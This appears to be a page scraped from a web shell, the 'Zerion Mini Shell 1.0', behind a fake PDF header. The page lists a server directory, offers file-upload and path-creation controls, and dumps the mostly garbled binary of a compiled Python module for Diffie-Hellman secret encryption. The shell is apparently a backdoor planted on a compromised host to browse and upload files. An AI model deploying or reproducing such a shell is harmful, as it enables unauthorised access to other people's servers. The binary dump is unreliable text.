%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/secretstorage/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/secretstorage/__pycache__/dhcrypto.cpython-312.pyc

�

��b
���dZddlZddlZddlZddlmZddlmZdZde	de
fd�Ze	jed	�Z
Gd
�d�Zy)z�This module contains needed classes, functions and constants
to implement dh-ietf1024-sha256-aes128-cbc-pkcs7 secret encryption
algorithm.�N)�sha256)�Optional)��rrrrrrr�������!�h���4�����b��������)��N���g���tr����;���"�Q�Jr�y�r
�����������:�C��0�+�
�m���_��7�O���5r6r6r%r�E�����vr�^�~r���L�B��r r:���krr�\�rE��rI���8rJ��Z����rT�$��|�K����I�(�fr%��r\�S�rrrrrrrr�number�returnc�n�|jtj|j�dz�d�S)Nr�big)�to_bytes�math�ceil�
bit_length)rcs �8/usr/lib/python3/dist-packages/secretstorage/dhcrypto.py�int_to_bytesrl s*���?�?�4�9�9�V�%6�%6�%8�1�%<�=�u�E�E�rfc�$�eZdZdd�Zdeddfd�Zy)�SessionrdNc���d|_d|_d|_tj	tjd�d�|_td|jt�|_
y)NTrrfr)�object_path�aes_key�	encrypted�int�
from_bytes�os�urandom�my_private_key�pow�
DH_PRIME_1024�
my_public_key)�selfs rk�__init__zSession.__init__(sK�����������!�n�n�R�Z�Z��-=�u�E��� ��D�$7�$7��G��rm�server_public_keyc�4�t||jt�}t|�}ddt	|�z
z|z}d}tj||t�j�}tj|dt�j�}|dd|_	y)N�rs ��)
ryrxrzrl�len�hmac�newr�digestrr)r|r~�common_secret_int�
common_secret�salt�pseudo_random_key�output_blocks       rk�set_server_public_keyzSession.set_server_public_key0s���� 1�4�3F�3F� -�/��$�%6�7�
��4�#�m�*<�#<�=�
�M�
��� �H�H�T�=�&�A�H�H�J���x�x� 1�7�F�C�J�J�L��#�E�T�*��rm)rdN)�__name__�
__module__�__qualname__r}rtr��rmrkroro's��H�+�s�+�t�+rmro)�__doc__r�rhrv�hashlibr�typingr�DH_PRIME_1024_BYTESrt�bytesrlrurzror�rmrk�<module>r�sV�����	�����F��F��F����2�E�:�
�+�+rm

Zerion Mini Shell 1.0